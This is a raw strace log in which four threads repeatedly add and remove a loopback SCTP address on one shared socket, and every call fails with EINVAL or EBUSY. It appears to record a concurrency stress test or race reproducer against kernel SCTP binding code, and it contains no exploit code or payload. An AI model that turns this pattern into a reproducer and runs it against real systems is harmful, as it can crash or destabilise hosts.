[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
